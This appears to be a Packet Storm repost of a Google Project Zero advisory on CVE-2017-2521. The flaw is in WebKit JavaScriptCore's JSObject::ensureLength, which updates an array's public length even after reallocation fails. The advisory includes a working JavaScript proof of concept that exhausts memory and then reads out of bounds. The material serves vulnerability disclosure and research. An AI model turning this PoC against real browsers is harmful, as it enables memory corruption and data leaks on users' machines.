Twenty Year Anniversary

WebKit JSC JSObject::ensureLength Failure Check

WebKit JSC JSObject::ensureLength Failure Check
Posted Jun 1, 2017
Authored by Google Security Research, lokihardt

WebKit JSC JSObject::ensureLength does not check if ensureLengthSlow fails.

tags | exploit
advisories | CVE-2017-2521
MD5 | 691f83669e1b3663794cb1b6b2db6a9b

WebKit JSC JSObject::ensureLength Failure Check

Change Mirror Download
 WebKit: JSC: JSObject::ensureLength doesn't check if ensureLengthSlow failed. 

CVE-2017-2521


Here's a snippet of JSObject::ensureLength.

bool WARN_UNUSED_RETURN ensureLength(VM& vm, unsigned length)
{
ASSERT(length < MAX_ARRAY_INDEX);
ASSERT(hasContiguous(indexingType()) || hasInt32(indexingType()) || hasDouble(indexingType()) || hasUndecided(indexingType()));

bool result = true;
if (m_butterfly.get()->vectorLength() < length)
result = ensureLengthSlow(vm, length);

if (m_butterfly.get()->publicLength() < length)
m_butterfly.get()->setPublicLength(length);
return result;
}

|setPublicLength| is called whether |ensureLengthSlow| failed or not. So the |publicLength| may be lager than the actual allocated memory's size, which results in an OOB access.

Tested on Linux.

PoC:
const kArrayLength = 0x200000;

let arr = new Array(kArrayLength);
arr.fill({});

let exh = [];
try {
for (;;) {
exh.push(new ArrayBuffer(kArrayLength * 8 * 8));
}
} catch (e) {
}

try {
arr.length *= 8;
print('failed');
} catch (e) {
print(e);

exh = null;

print('arr length: ' + arr.length.toString(16));
for (let i = kArrayLength, n = arr.length; i < n; i++) {
if (arr[i])
print(arr[i]);
}
}


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

June 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    14 Files
  • 2
    Jun 2nd
    1 Files
  • 3
    Jun 3rd
    3 Files
  • 4
    Jun 4th
    18 Files
  • 5
    Jun 5th
    21 Files
  • 6
    Jun 6th
    8 Files
  • 7
    Jun 7th
    16 Files
  • 8
    Jun 8th
    18 Files
  • 9
    Jun 9th
    5 Files
  • 10
    Jun 10th
    2 Files
  • 11
    Jun 11th
    21 Files
  • 12
    Jun 12th
    32 Files
  • 13
    Jun 13th
    15 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    4 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    2 Files
  • 18
    Jun 18th
    14 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close